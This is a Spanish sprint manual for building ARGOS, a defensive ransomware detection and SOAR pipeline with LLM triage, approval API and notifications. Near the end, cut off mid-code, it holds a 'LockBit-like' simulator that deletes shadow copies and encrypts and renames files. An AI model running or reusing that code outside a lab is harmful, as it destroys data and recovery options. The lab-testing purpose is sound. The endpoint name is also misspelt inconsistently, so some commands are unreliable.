Goal de la semana	Capa 4 LLM Triage + SOAR Decision Engine + Approval API + multi-channel notifications + Streamlit Approval Console + simulador de ransomware ejecutable + wiring multi-vector (UC-06/07/08 per ADR-0008). Entregable: UC-01 + UC-02 + UC-04 + UC-06 + UC-07 corriendo end-to-end al domingo (UC-08 nice-to-have si hay tiempo).
Effort estimado	6 horas reales de trabajo por día durante 7 días = 42 horas
Pre-requisito	Haber leído docs/team/sprint-week-1-overview.md y docs/decisions/0008-multi-vector-scope-expansion.md

Nota post-ADR-0008 (scope multi-vector)

Tras la decisión documentada en ADR-0008 (2026-05-24), tu sprint ahora cubre 5 UCs en lugar de 3. Los UCs adicionales son:

- **UC-06 (DDoS):** simulador con `hping3 / slowhttptest` lo escribe P4. Tu trabajo P1 es integrar el handler en el SOAR orchestrator para que detecte alertas Sigma de rate-based, las clasifique correctamente como T0, y dispare el playbook de rate-limiting (iptables `--limit`).
- **UC-07 (SELECT masivo FP cancelado):** la pieza más valiosa del demo. Requiere coordinación con P2 (modelo ML especializado en query patterns) + P4 (pgAudit + simulador SELECT). Tu trabajo P1 específico: implementar el flujo de **false positive cancellation** en la Approval API y la Streamlit Console — cuando el aprobador clickea "Reject", el SOAR cancela throttle, libera conexión, y registra el caso en OpenSearch con `false_positive=true` y razón documentada por el aprobador.
- **UC-08 (SQL injection):** simulador con `sqlmap` lo escribe P4, regla Sigma SQLi la escribe P3. Tu trabajo P1 mínimo es asegurar que el tier classifier maneja la categoría como T1 (high-fidelity Sigma + ML corrobora) y dispara block-IP playbook.

Días afectados en este manual:

- **Día 4 (Jueves):** además de UC-01 attempt, ahora también wiring inicial de handlers DDoS y SQLi en el SOAR (~1.5 horas extra).
- **Día 5 (Viernes):** además de notificaciones + Console, ahora también **FP cancellation flow** crítico para UC-07 (~2 horas extra).
- **Día 6 (Sábado):** además de Twilio + UC-04, ahora ensayos UC-06 + UC-07 + UC-08 (~1.5 horas extra).

- **Día 7** (Domingo): rehearsals cubren los 5 UCs (UC-01, UC-02, UC-04, UC-06, UC-07) — UC-08 opcional.

Si el sprint se siente apretado por estas adiciones, **mantén UC-07 sí o sí** (es la pieza diferenciadora frente a SIEM). UC-08 puede pasarse a semana 2.

Antes de empezar — chequeo de prerequisites

Antes del Día 1, asegúrate de tener esto listo. Si te falta algo, el Día 1 se va a pasar peleando con setup y vas a estar atrás todo el sprint.

Hardware

- Laptop con **mínimo 16 GB de RAM** (Llama 3.1 8B + servicios Python + IDE + browser fácilmente comen 12 GB).
- **40 GB de disco libre.**
- macOS / Linux nativo / Windows con WSL2.

Software base (instalar antes del Día 1)

```
# Python 3.11+ – verifica con
python3 --version      # debe decir 3.11.x o 3.12.x

# Git configurado
git config --global user.name "Enzo Ordoñez Flores"
git config --global user.email "enzizordonezflores@gmail.com"

# Una terminal moderna (Windows Terminal / iTerm2)
# IDE: VSCode con extensiones Python, Pylance, Ruff
```

Cuentas externas (60-90 minutos en total)

Servicio	Cómo crear	Lo que necesitas guardar
OpenAI	https://platform.openai.com/signup → Settings → Billing → agregar tarjeta → Settings → Limits → set "Monthly budget" = \$20 USD	OPENAI_API_KEY que generes en API Keys
Telegram Bot	App Telegram → chat con @BotFather → comando /newbot → seguir wizard	TELEGRAM_BOT_TOKEN
Discord Webhook	Server del equipo → Server Settings → Integrations → Webhooks → New Webhook → Copy URL	DISCORD_WEBHOOK_URL
Twilio	https://www.twilio.com/try-twilio → registrarse trial → Console muestra Account SID + Auth Token	TWILIO_ACCOUNT_SID , TWILIO_AUTH_TOKEN , TWILIO_FROM_NUMBER (el número que Twilio te asigna gratis)

Verificación pre-Día 1

```
python3 --version      # 3.11.x o 3.12.x
git --version          # 2.30+
echo $OPENAI_API_KEY   # debe imprimir tu key (configurar en tu shell rc)
```

Día 1 (Lunes) — Setup ambiente + skeletons

Goal del día: repositorio clonado, ambiente Python listo, Ollama corriendo Llama 3.1 8B, FastAPI /triage respondiendo con stub, OpenAIClient real funcional, primer commit/PR enviado.

Tiempo estimado: 5-6 horas.

Paso 1.1 — Clonar repo y crear ambiente (15 min)

```
cd ~/projects          # o donde guardes proyectos
git clone https://github.com/EnzoOrdonez/argos.git
cd argos

# Crear y activar virtualenv
python3 -m venv .venv
source .venv/bin/activate      # Linux/macOS
# .venv\Scripts\activate       # Windows PowerShell

# Actualizar pip
pip install -U pip setuptools wheel

# Instalar el proyecto con extras de LLM, SOAR, y dev
pip install -e ".[llm,soar,dev]"
```

Verificación:

```
pytest argos_contracts/tests/ -v
# Esperado: 69 passed
```

Si pytest falla, NO sigas — revisa que el entorno virtual esté activado (`which python` debe apuntar a `.venv/bin/python`).

Paso 1.2 — Configurar variables de entorno (10 min)

```
cp .env.example .env
```

Edita `.env` con tus valores reales:

- `OPENAI_API_KEY=sk-proj-...`
- `OPENAI_MODEL=gpt-4o-mini`
- `TELEGRAM_BOT_TOKEN=...`
- `TELEGRAM_APPROVER_CHAT_IDS=` (todavía vacío, lo llenarás cuando el bot reciba el primer / start)
- `DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...`

- `TWILIO_ACCOUNT_SID=AC...`
- `TWILIO_AUTH_TOKEN=...`
- `TWILIO_FROM_NUMBER=+1...`
- `JWT_SECRET=` (generar con `openssl rand -hex 32`)
- `LLM_BACKEND=openai`

No commitees el `.env` — ya está en `.gitignore`. Si dudas:

```
git status # .env NO debe aparecer
```

Paso 1.3 — Instalar Ollama y descargar Llama 3.1 8B (20 min)

```
# macOS / Linux:
curl -fsSL https://ollama.com/install.sh | sh

# Windows: descargar instalador de https://ollama.com/download

# Verificar
ollama --version

# Descargar el modelo (~5 GB, toma 5-10 min según conexión)
ollama pull llama3.1:8b

# Verificar que arranca
ollama list # debe mostrar llama3.1:8b
ollama run llama3.1:8b "Say hello in one word" # debe responder
```

Ollama corre como servicio en `http://localhost:11434`. No necesitas iniciar nada manualmente después de instalarlo en macOS/Windows. En Linux puede que necesites:

```
systemctl --user start ollama # o
ollama serve & # foreground
```

Paso 1.4 — Crear branch de trabajo (2 min)

```
git checkout main
git pull origin main
git checkout -b feature/p1/llm-triage-skeleton
```

Paso 1.5 — Implementar FastAPI /triage con stub (45 min)

Edita `llm_triage/api/main.py` (actualmente solo tiene docstring + TODOs). Reemplaza todo el contenido por:

```

"""FastAPI service for ARGOS Layer 4 LLM Triage.

References:
- SAD §7.1 (Block 06 – FastAPI service).
- ADR-0001 v2 (LLMClient abstraction – OpenAI primary + Llama local fallback).
"""

from datetime import datetime, timezone
import logging
import os

from fastapi import FastAPI, HTTPException

from argos_contracts import AlertContext, Severity, TriageResponse

logger = logging.getLogger(__name__)

app = FastAPI(
    title="ARGOS LLM Triage",
    version="0.1.0",
    description="Layer 4 – LLM-based alert triage and enrichment",
)

@app.get("/health")
async def health() -> dict[str, str]:
    """External heartbeat per SAD §13.6."""
    return {"status": "ok", "backend": os.getenv("LLM_BACKEND", "openai")}

@app.post("/triage", response_model=TriageResponse)
async def triage(ctx: AlertContext) -> TriageResponse:
    """Triage an incident context. Returns structured TriageResponse.

    STUB implementation for Day 1. Replaced with OpenAIClient call on Day 2.
    """
    logger.info("Triage request for incident %s", ctx.incident_id)

    # Stub response – to be replaced with LLMClient call
    return TriageResponse(
        incident_id=ctx.incident_id,
        tecnica_mitre="T1486",
        confianza=0.50,
        severidad=Severity.MEDIUM,
        runbook_aplicable="NIST 800-61 §3.4 Containment (stub response)",
        accion_recomendada="STUB: replace with OpenAIClient call from Day 2 onwards",
        indicadores_correlacionar=[],
        llm_backend="stub",
        generated_at=datetime.now(timezone.utc),
    )

```

Levanta el servicio:

```
uvicorn llm_triage.api.main:app --host 0.0.0.0 --port 8002 --reload
```

Verificación en otra terminal:

```
# Health check
curl http://localhost:8002/health
# Esperado: {"status":"ok","backend":"openai"}

# Triage con payload válido
curl -X POST http://localhost:8002/triage \
-H "Content-Type: application/json" \
-d '{
  "incident_id": "INC-2026-05-26-001",
  "created_at": "2026-05-26T10:00:00Z",
  "host": {"id": "WIN-01", "criticality": "standard"},
  "alert_summary": {
    "title": "test alert",
    "severity_score": 0.5,
    "triggering_layers": ["layer_1"],
    "raw_alert_id": "test-1"
  }
}'
# Esperado: TriageResponse JSON con stub data
```

Si el health responde 200 pero el triage responde 422, es validation error de Pydantic — verifica el JSON.

Paso 1.6 — Implementar OpenAIClient real (1.5 horas)

Edita `llm_triage/llm_client/openai_client.py`:

```

"""OpenAI GPT-4o-mini backend for LLMClient (primary per ADR-0001 v2)."""

import json
import os
from datetime import datetime, timezone

from openai import AsyncOpenAI

from argos_contracts import AlertContext, Severity, TriageResponse
from argos_contracts._mitre_data import MITRE_WHITELIST

SYSTEM_PROMPT = """You are a SOC tier-2 analyst at ARGOS.
You receive normalized ransomware alerts and must return STRICT JSON matching the schema below.

Rules:
- tecnica_mitre MUST be one of: {whitelist}
- confianza is a float 0.0-1.0
- severidad is one of: low, medium, high, critical
- runbook_aplicable cites NIST 800-61 or SANS section (text, min 10 chars)
- accion_recomendada is descriptive prose (min 20 chars)
- indicadores_correlacionar is a list of strings (IoCs)
- Output ONLY the JSON object, no markdown, no commentary.
"""

class OpenAIClient:
    def __init__(
        self,
        api_key: str | None = None,
        model: str = "gpt-4o-mini",
    ) -> None:
        self.client = AsyncOpenAI(
            api_key=api_key or os.getenv("OPENAI_API_KEY")
        )
        self.model = model

    async def analyze(self, ctx: AlertContext) -> TriageResponse:
        system_prompt = SYSTEM_PROMPT.format(
            whitelist=", ".join(sorted(MITRE_WHITELIST))
        )
        user_prompt = (
            f"Incident: {ctx.incident_id}\n"
            f"Host: {ctx.host.id} (criticality: {ctx.host.criticality.value})\n"
            f"Alert: {ctx.alert_summary.title}\n"
            f"Initial technique: {ctx.alert_summary.technique_mitre}\n"
            f"Severity score: {ctx.alert_summary.severity_score}\n"
            f"Triggering layers: {[l.value for l in ctx.alert_summary.triggering_layers]}\n"
        )

        response = await self.client.chat.completions.create(
            model=self.model,
            messages=[
                {"role": "system", "content": system_prompt},
                {"role": "user", "content": user_prompt},
            ],
            response_format={"type": "json_object"},
            temperature=0.2,
            max_tokens=400,
        )

        raw = response.choices[0].message.content or "{}"
        parsed = json.loads(raw)

        return TriageResponse(
            incident_id=ctx.incident_id,
            tecnica_mitre=parsed.get("tecnica_mitre", "T1486"),
            confianza=float(parsed.get("confianza", 0.5)),
            severidad=Severity(parsed.get("severidad", "medium")),
            runbook_aplicable=parsed.get(
                "runbook_aplicable", "NIST 800-61 §3.4 Containment"
            ),
            accion_recomendada=parsed.get(
                "accion_recomendada",

```

```

        "Investigate further with full forensic context",
    ),
    indicadores_correlacionar=parsed.get("indicadores_correlacionar", []),
    llm_backend="gpt-4o-mini",
    generated_at=datetime.now(timezone.utc),
)

```

Prueba directa (script `tmp_test_openai.py` que NO commiteas):

```

# tmp_test_openai.py
import asyncio
from datetime import datetime, timezone
from argos_contracts import AlertContext, AlertSummary, HostInfo, Criticality, Layer
from llm_triage.llm_client.openai_client import OpenAIClient

async def main():
    ctx = AlertContext(
        incident_id="INC-2026-05-26-001",
        created_at=datetime.now(timezone.utc),
        host=HostInfo(id="WIN-VICTIM-01", criticality=Criticality.STANDARD),
        alert_summary=AlertSummary(
            title="vssadmin delete shadows detected",
            technique_mitre="T1490",
            severity_score=0.92,
            triggering_layers=[Layer.LAYER_1, Layer.LAYER_2],
            raw_alert_id="wazuh-001",
        ),
    )
    client = OpenAIClient()
    resp = await client.analyze(ctx)
    print(resp.model_dump_json(indent=2))

asyncio.run(main())

```

```

python tmp_test_openai.py
# Esperado: JSON con TriageResponse válido, técnica T1490 o similar, confianza alta
rm tmp_test_openai.py

```

Si OpenAI te tira 401, verifica `OPENAI_API_KEY` está exportado en tu shell o cargado desde `.env`.

Paso 1.7 — Probar bot Telegram (15 min)

Crea un script `tmp_test_telegram.py`:

```

import asyncio
import os
from telegram import Bot

async def main():
    bot = Bot(token=os.environ["TELEGRAM_BOT_TOKEN"])
    me = await bot.get_me()
    print(f"Bot username: @{me.username}")
    # Para enviar mensaje, primero abre tu Telegram, busca el bot, envíale "/start"
    # Luego ejecuta este script con tu chat_id

asyncio.run(main())

```

```

pip install python-telegram-bot
python tmp_test_telegram.py
# Esperado: Bot username: @ArgosBot (o el nombre que le diste)

```

Para obtener tu `chat_id`: en Telegram envía cualquier mensaje al bot, luego:

```
curl "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/getUpdates" | jq '.result[0].message.chat.id'
```

Guarda ese ID en `.env` → `TELEGRAM_APPROVER_CHAT_IDS=123456789`. Cuando todos los aprobadores envíen `/start`, repite para cada uno y separa por comas.

Paso 1.8 — Probar Discord webhook (10 min)

```
curl -X POST $DISCORD_WEBHOOK_URL \
-H "Content-Type: application/json" \
-d '{"content": "👋 ARGOS Day 1 setup – Discord webhook funcionando"}'
```

Verifica que el mensaje aparezca en el canal de Discord configurado.

Paso 1.9 — Commit + PR (10 min)

```
git add llm_triage/api/main.py llm_triage/llm_client/openai_client.py
git status # verifica que .env NO aparece
git commit -m "feat(p1): /trriage endpoint stub + OpenAIClient real + Ollama setup"
git push origin feature/p1/llm-triage-skeleton
```

Abre PR en GitHub con título: `[P1 Day 1] LLM triage skeleton + OpenAI client funcional`. Pon a P2 como reviewer (par P1↔P2).

Verificación EOD Día 1

Antes de cerrar el día, confirma:

- ☐ `pytest argos_contracts/tests/` pasa 69 tests
- ☐ `curl http://localhost:8002/health` responde 200
- ☐ `curl -X POST http://localhost:8002/trriage ...` responde TriageResponse válido
- ☐ OpenAIClient devuelve respuesta real cuando lo invocas
- ☐ Telegram bot existe y `getMe` responde
- ☐ Discord webhook recibe mensaje de prueba
- ☐ Ollama corre y `ollama run llama3.1:8b` responde
- ☐ PR abierto en GitHub

Bloqueos comunes Día 1

Problema	Causa probable	Fix
<code>pip install</code> falla con <code>Building wheel ... failed</code>	Falta compilador C	macOS: <code>xcode-select --install</code> . Ubuntu: <code>apt install build-essential python3-dev</code> . Windows: usar WSL2
<code>ImportError: No module named argos_contracts</code>	venv no activado o pip install -e no se ejecutó	<code>source .venv/bin/activate && pip install -e ".[llm,soar,dev]"</code>
OpenAI 401 Unauthorized	<code>OPENAI_API_KEY</code> no cargada	Exportar en shell: <code>export OPENAI_API_KEY=sk-...</code> o usar <code>python-dotenv</code> para cargar <code>.env</code>
OpenAI 429 rate limit	Cuenta sin créditos	Verificar en https://platform.openai.com/account/billing/overview
Ollama "model not found"	Modelo no descargado	<code>ollama pull llama3.1:8b</code>
Telegram Unauthorized	Token mal copiado	Re-generar con <code>@BotFather</code> con <code>/token</code>

Día 2 (Martes) — SOAR Decision Engine + LlamaLocalClient

Goal del día: Tier Classifier funcional con synthetic alerts, máquina de estados Redis básica, LlamaLocalClient operacional como fallback.

Tiempo estimado: 6 horas.

Paso 2.1 — Crear estructura del SOAR (15 min)

```
cd ~/projects/argos
mkdir -p soar/decision_engine soar/approval soar/notification soar/playbooks soar/tests
touch soar/__init__.py soar/decision_engine/__init__.py soar/approval/__init__.py
touch soar/notification/__init__.py soar/playbooks/__init__.py soar/tests/__init__.py
```

Paso 2.2 — Implementar Tier Classifier (1.5 horas)

`soar/decision_engine/tier_classifier.py`:


```

"""Tier classifier per ADR-0003 §"Lógica de ejecución por tier".

Reads layer signals (NormalizedAlert + optional MLScore + canary signal)
and returns a Tier (T0..T3). Threshold values are preliminary per Q5.
"""

from argos_contracts import (
    Layer,
    MLScore,
    NormalizedAlert,
    Tier,
)

# Preliminary thresholds – Q5 calibration pending
T0_THRESHOLD = 0.95
T1_THRESHOLD = 0.80
T2_THRESHOLD = 0.60
T3_THRESHOLD = 0.40

def classify(
    alerts: list[NormalizedAlert],
    ml_score: MLScore | None = None,
    canary_fired: bool = False,
) -> Tier:
    """Apply fusion rules from SAD §6.2.

    Args:
        alerts: NormalizedAlerts that fired in current incident window.
        ml_score: Optional MLScore from Layer 2.
        canary_fired: Whether Layer 3 (canary) was touched.

    Returns:
        Tier enum value.
    """
    layers = {a.source_layer for a in alerts}

    # Layer 3 (canary) wins to T0 in any combination
    if canary_fired:
        return Tier.T0

    has_l1 = Layer.LAYER_1 in layers
    has_l2 = ml_score is not None and ml_score.ensemble_score >= T1_THRESHOLD

    # L1 + L2 corroborate (no canary) → T1
    if has_l1 and has_l2:
        return Tier.T1

    # Single layer with high score → T2
    if has_l1 and not has_l2:
        # Need to check Sigma `level:` for high-fidelity vs experimental
        # For Day 2 we approximate by severity_score
        max_score = max(a.severity_score for a in alerts)
        if max_score >= T2_THRESHOLD:
            return Tier.T2
        return Tier.T3

    if has_l2 and not has_l1:
        if ml_score.ensemble_score >= T2_THRESHOLD:
            return Tier.T2
        if ml_score.ensemble_score >= T3_THRESHOLD:
            return Tier.T3

    return Tier.T3

```

Tests en `soar/tests/test_tier_classifier.py` :

```

from datetime import datetime, timezone
import pytest
from argos_contracts import (
    Layer, MLScore, MLFeatures, NormalizedAlert, Severity, Tier,
)
from soar.decision_engine.tier_classifier import classify

UTC_NOW = datetime(2026, 5, 26, 10, 0, 0, tzinfo=timezone.utc)

def _alert(layer: Layer, score: float = 0.9) -> NormalizedAlert:
    return NormalizedAlert(
        alert_id="a1", source_layer=layer, timestamp=UTC_NOW,
        host_id="h1", severity_score=score, severity_label=Severity.HIGH,
    )

def _ml_score(score: float) -> MLScore:
    return MLScore(
        score_id="s1", timestamp=UTC_NOW, host_id="h1",
        isolation_forest_score=score, one_class_svm_score=score,
        ensemble_score=score,
        features=MLFeatures(
            file_write_rate=100, avg_entropy=7.0,
            extension_modification_ratio=0.5, crypto_api_calls=10,
            new_outbound_connections=2, cpu_burst_score=0.5,
            io_burst_score=0.5,
        ),
        model_version="v1",
    )

def test_canary_alone_is_t0():
    assert classify([_alert(Layer.LAYER_3)], canary_fired=True) == Tier.T0

def test_l1_and_l2_corroborate_is_t1():
    result = classify(
        [_alert(Layer.LAYER_1)],
        ml_score=_ml_score(0.85),
        canary_fired=False,
    )
    assert result == Tier.T1

def test_l1_alone_high_score_is_t2():
    result = classify([_alert(Layer.LAYER_1, score=0.75)], canary_fired=False)
    assert result == Tier.T2

def test_l2_alone_medium_score_is_t3():
    result = classify(
        [_alert(Layer.LAYER_2, score=0.5)],
        ml_score=_ml_score(0.55),
        canary_fired=False,
    )
    assert result == Tier.T3

```

Correr:

```

pytest soar/tests/ -v
# Esperado: 4 passed

```

Paso 2.3 — Implementar LlamaLocalClient (1 hora)

llm_triage/llm_client/llama_local.py:

```

"""Llama 3.1 8B local via Ollama. Fallback per ADR-0001 v2 – zero egress."""

import json
import os
from datetime import datetime, timezone

import httpx

from argos_contracts import AlertContext, Severity, TriageResponse
from argos_contracts._mitre_data import MITRE_WHITELIST

SYSTEM_PROMPT = (
    "You are a SOC analyst. Return STRICT JSON with these fields:\n"
    "tecnica_mitre (must be in MITRE list), confianza (0-1), "
    "severidad (low/medium/high/critical), runbook_aplicable, "
    "accion_recomendada, indicadores_correlacionar (list).\n"
    "Output ONLY JSON, no markdown."
)

class LlamaLocalClient:
    def __init__(
        self,
        base_url: str | None = None,
        model: str = "llama3.1:8b",
    ) -> None:
        self.base_url = base_url or os.getenv(
            "OLLAMA_BASE_URL", "http://localhost:11434"
        )
        self.model = model

    async def analyze(self, ctx: AlertContext) -> TriageResponse:
        prompt = (
            f"{SYSTEM_PROMPT}\n\n"
            f"Allowed MITRE techniques: {sorted(MITRE_WHITELIST)}\n\n"
            f"Alert: {ctx.alert_summary.title}\n"
            f"Host: {ctx.host.id}\n"
            f"Severity score: {ctx.alert_summary.severity_score}\n"
        )

        async with httpx.AsyncClient(timeout=30.0) as client:
            r = await client.post(
                f"{self.base_url}/api/generate",
                json={
                    "model": self.model,
                    "prompt": prompt,
                    "format": "json",
                    "stream": False,
                },
            )
            r.raise_for_status()
            data = r.json()
            parsed = json.loads(data["response"])

        return TriageResponse(
            incident_id=ctx.incident_id,
            tecnica_mitre=parsed.get("tecnica_mitre", "T1486"),
            confianza=float(parsed.get("confianza", 0.5)),
            severidad=Severity(parsed.get("severidad", "medium")),
            runbook_aplicable=parsed.get(
                "runbook_aplicable", "NIST 800-61 §3.4 Containment"
            ),
            accion_recomendada=parsed.get(
                "accion_recomendada",
                "Local LLM analysis – investigate further",
            ),
            indicadores_correlacionar=parsed.get("indicadores_correlacionar", []),
            llm_backend="llama-3.1-8b-local",
            generated_at=datetime.now(timezone.utc),
        )

```

Paso 2.4 — Factory que escoge backend (15 min)

llm_triage/llm_client/factory.py :

```
"""Factory per ADR-0001 v2."""
import os
from llm_triage.llm_client.openai_client import OpenAIClient
from llm_triage.llm_client.llama_local import LlamaLocalClient

def get_llm_client():
    backend = os.getenv("LLM_BACKEND", "openai")
    if backend == "openai":
        return OpenAIClient()
    if backend == "llama_local":
        return LlamaLocalClient()
    raise ValueError(f"Unknown LLM_BACKEND: {backend}")
```

Conecta la factory al endpoint `/trriage` en `llm_triage/api/main.py` (reemplaza el stub):

```
from llm_triage.llm_client.factory import get_llm_client

# ... en el endpoint:
@app.post("/trriage", response_model=TriageResponse)
async def triage(ctx: AlertContext) -> TriageResponse:
    client = get_llm_client()
    return await client.analyze(ctx)
```

Verificación: prueba ambos backends.

```
# Backend openai
LLM_BACKEND=openai uvicorn llm_triage.api.main:app --reload --port 8002 &
sleep 2
curl -X POST http://localhost:8002/trriage -H "Content-Type: application/json" -d @sample_alert.json
# kill el uvicorn

# Backend llama_local
LLM_BACKEND=llama_local uvicorn llm_triage.api.main:app --reload --port 8002 &
sleep 2
curl -X POST http://localhost:8002/trriage -H "Content-Type: application/json" -d @sample_alert.json
```

Crea `sample_alert.json` antes con un `AlertContext` mock válido.

Paso 2.5 — Setup Redis local + state machine básica (1.5 horas)

```
# macOS: brew install redis && brew services start redis
# Linux: sudo apt install redis-server && sudo systemctl start redis
# Windows: usar WSL2 o redis-stack docker

redis-cli ping
# Esperado: PONG
```

soar/decision_engine/state_machine.py :

```

"""Incident state machine persisted in Redis."""

import json
import redis
from argos_contracts import Incident, IncidentState

class IncidentStateMachine:
    def __init__(self, redis_url: str = "redis://localhost:6379/0"):
        self.r = redis.from_url(redis_url, decode_responses=True)

    def save(self, incident: Incident) -> None:
        key = f"incident:{incident.incident_id}"
        self.r.set(key, incident.model_dump_json(), ex=86400) # 24h TTL

    def load(self, incident_id: str) -> Incident | None:
        key = f"incident:{incident_id}"
        raw = self.r.get(key)
        if not raw:
            return None
        return Incident.model_validate_json(raw)

    def transition(self, incident_id: str, new_state: IncidentState) -> Incident:
        inc = self.load(incident_id)
        if inc is None:
            raise ValueError(f"Incident {incident_id} not found")
        inc.state = new_state
        self.save(inc)
        return inc

```

Paso 2.6 — Commit + PR (10 min)

```

git add soar/ llm_triage/llm_client/llama_local.py llm_triage/llm_client/factory.py llm_triage/api/main.py
git commit -m "feat(p1): tier classifier + state machine Redis + LlamaLocalClient + factory"
git push origin feature/p1/llm-triage-skeleton

```

Verificación EOD Día 2

- ☐ `pytest soar/tests/ -v` pasa los 4 tests de tier classifier
- ☐ `curl /trriage` con `LLM_BACKEND=openai` devuelve análisis OpenAI real
- ☐ `curl /trriage` con `LLM_BACKEND=llama_local` devuelve análisis Llama local
- ☐ Redis acepta `set / get` de un Incident serializado
- ☐ PR actualizado con commits del día

Día 3 (Miércoles) — Approval API + JWT signing

Goal del día: Approval API funcional con tokens JWT, consolidation window de 60s, conservative-wins policy.

Tiempo estimado: 6 horas.

Paso 3.1 — JWT signer (1 hora)

soar/approval/jwt_signer.py :

```
"""JWT signing for approval tokens. HS256 + jti anti-replay per ADR-0006."""

import os
import uuid
from datetime import datetime, timedelta, timezone

import jwt

class JWTSigner:
    def __init__(self, secret: str | None = None, algorithm: str = "HS256"):
        self.secret = secret or os.environ["JWT_SECRET"]
        self.algorithm = algorithm

    def sign(self, incident_id: str, approver_email: str, ttl_minutes: int = 5) -> str:
        payload = {
            "incident_id": incident_id,
            "responder_email": approver_email,
            "jti": str(uuid.uuid4()),
            "iat": datetime.now(timezone.utc),
            "exp": datetime.now(timezone.utc) + timedelta(minutes=ttl_minutes),
        }
        return jwt.encode(payload, self.secret, algorithm=self.algorithm)

    def verify(self, token: str) -> dict:
        return jwt.decode(token, self.secret, algorithms=[self.algorithm])
```

Tests en soar/tests/test_jwt.py :

```
import time
import pytest
import jwt
from soar.approval.jwt_signer import JWTSigner

def test_sign_and_verify_roundtrip():
    s = JWTSigner(secret="testsecret123")
    token = s.sign("INC-2026-05-26-001", "enzo@demo.local")
    payload = s.verify(token)
    assert payload["incident_id"] == "INC-2026-05-26-001"
    assert payload["responder_email"] == "enzo@demo.local"
    assert "jti" in payload

def test_expired_token_rejects():
    s = JWTSigner(secret="testsecret123")
    token = s.sign("INC-X", "x@y.local", ttl_minutes=0) # already expired
    time.sleep(1)
    with pytest.raises(jwt.ExpiredSignatureError):
        s.verify(token)

def test_tampered_token_rejects():
    s = JWTSigner(secret="testsecret123")
    token = s.sign("INC-Y", "y@z.local") + "tampered"
    with pytest.raises(jwt.InvalidTokenError):
        s.verify(token)
```

Paso 3.2 — Approval API (2 horas)

soar/approval/api.py :

```

"""FastAPI Approval endpoint per ADR-0003."""

from datetime import datetime, timezone
from fastapi import FastAPI, HTTPException
from argos_contracts import ApprovalDecision, ApprovalResponse, NotificationChannelType
from soar.approval.jwt_signer import JWTSigner
from soar.decision_engine.state_machine import IncidentStateMachine

app = FastAPI(title="ARGOS Approval API")
signer = JWTSigner()
state = IncidentStateMachine()

@app.get("/health")
async def health():
    return {"status": "ok"}

@app.post("/approval/{token}")
async def approve(token: str, decision: ApprovalDecision):
    try:
        payload = signer.verify(token)
    except Exception as e:
        raise HTTPException(401, f"Invalid token: {e}")

    incident_id = payload["incident_id"]
    inc = state.load(incident_id)
    if inc is None:
        raise HTTPException(404, "Incident not found")

    # Append approver response
    response = ApprovalResponse(
        incident_id=incident_id,
        responder_email=payload["responder_email"],
        decision=decision,
        timestamp=datetime.now(timezone.utc),
        channel=NotificationChannelType.TELEGRAM,
        token_jti=payload["jti"],
    )

    # Apply conservative-wins (simplified for Day 3, full logic Day 4)
    # ... (extend on Day 4 with consolidation window)

    return {"status": "recorded", "decision": decision.value}

```

Paso 3.3 — Conservative-wins consolidation (1.5 horas)

soar/approval/consolidation.py :

```

"""Conservative-wins per ADR-0006 + 60s consolidation window."""

from argos_contracts import ApproverState, ApproverStatus, ConsolidationWindow

def resolve(approvers: list[ApproverState], window: ConsolidationWindow) -> str:
    """Apply conservative-wins.

    Returns:
        "EXECUTE_ISOLATION" if at least 1 approver said APPROVED.
        "NO_ACTION" if all said REJECTED or TIMEOUT.
    """
    approves = sum(1 for a in approvers if a.status == ApproverStatus.APPROVED)
    rejects = sum(1 for a in approvers if a.status == ApproverStatus.REJECTED)

    if approves == 0 and rejects == 0:
        return "NO_ACTION" # all timeout

    # Conservative-wins: any approve beats any reject
    if approves >= 1:
        return "EXECUTE_ISOLATION"

    return "NO_ACTION"

def is_two_person_rule(host_criticality: str) -> bool:
    """Two-person rule activa si host es production-critical (Q2)."""
    return host_criticality == "production_critical"

def resolve_two_person(approvers: list[ApproverState]) -> str:
    """Two-person rule: requiere 2 approves antes de ejecutar."""
    approves = sum(1 for a in approvers if a.status == ApproverStatus.APPROVED)
    rejects = sum(1 for a in approvers if a.status == ApproverStatus.REJECTED)

    if rejects >= 1:
        return "NO_ACTION" # any reject cancels
    if approves >= 2:
        return "EXECUTE_ISOLATION"
    return "PENDING_SECOND_APPROVAL"

```

Tests para los 3 escenarios principales.

Paso 3.4 — Commit (10 min)

```

git add soar/approval/
git commit -m "feat(p1): JWT signer + approval API + conservative-wins + two-person rule"
git push

```

Verificación EOD Día 3

- ☐ JWT firma y verifica roundtrip
- ☐ Token expirado rechaza
- ☐ Token tampered rechaza
- ☐ Approval API responde 200 con token válido
- ☐ Conservative-wins devuelve EXECUTE con 2 approves + 1 reject
- ☐ Two-person rule devuelve PENDING_SECOND con 1 approve solo

- ☐ PR actualizado
-

Día 4 (Jueves) — Ransomware simulator + UC-01 attempt

Goal del día: simulador funcional, primer intento de UC-01 end-to-end con las piezas de P3 (Sigma rules) y P4 (lab).

Tiempo estimado: 6 horas.

Paso 4.1 — Simulador LockBit-like (3 horas)

`attack-simulation/ransomware_simulator/lockbit_like.py` :

```

"""LockBit-like ransomware simulator for UC-01.

SAFETY RAIL: only runs if target_ip is in lab/inventory.yaml allowlist.
"""

import argparse
import os
import sys
import time
from pathlib import Path
from cryptography.fernet import Fernet

SAFETY_ALLOWED_TARGETS = {"10.0.0.21", "10.0.0.22", "localhost", "127.0.0.1"}

def enumerate_files(root: Path) -> list[Path]:
    """T1083 – File and Directory Discovery."""
    return [p for p in root.rglob("*") if p.is_file()]

def delete_shadow_copies() -> None:
    """T1490 – Inhibit System Recovery."""
    if sys.platform == "win32":
        os.system("vssadmin delete shadows /all /quiet")
    else:
        print("[SIM] Linux equivalent: btrfs subvolume delete /backup/snapshots/*")

def encrypt_files(files: list[Path], key: bytes) -> int:
    """T1486 – Data Encrypted for Impact."""
    cipher = Fernet(key)
    encrypted = 0
    for f in files:
        try:
            data = f.read_bytes()
            f.write_bytes(cipher.encrypt(data))
            f.rename(f.with_suffix(f.suffix + ".locked"))
            encrypted += 1
        except (PermissionError, OSError):
            continue
    return encrypted

def drop_ransom_note(target_dir: Path) -> None:
    note = target_dir / "README_RESTORE_FILES.txt"
    note.write_text(
        "Your files have been encrypted (SIMULATION).\n"
        "This is a test of the ARGOS defensive system.\n"
        "No actual harm done.\n"
    )

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", default="localhost")
    parser.add_argument("--path", default=str(Path.home() / "Documents" / "argos_demo"))
    parser.add_argument("--dry-run", action="store_true")
    args = parser.parse_args()

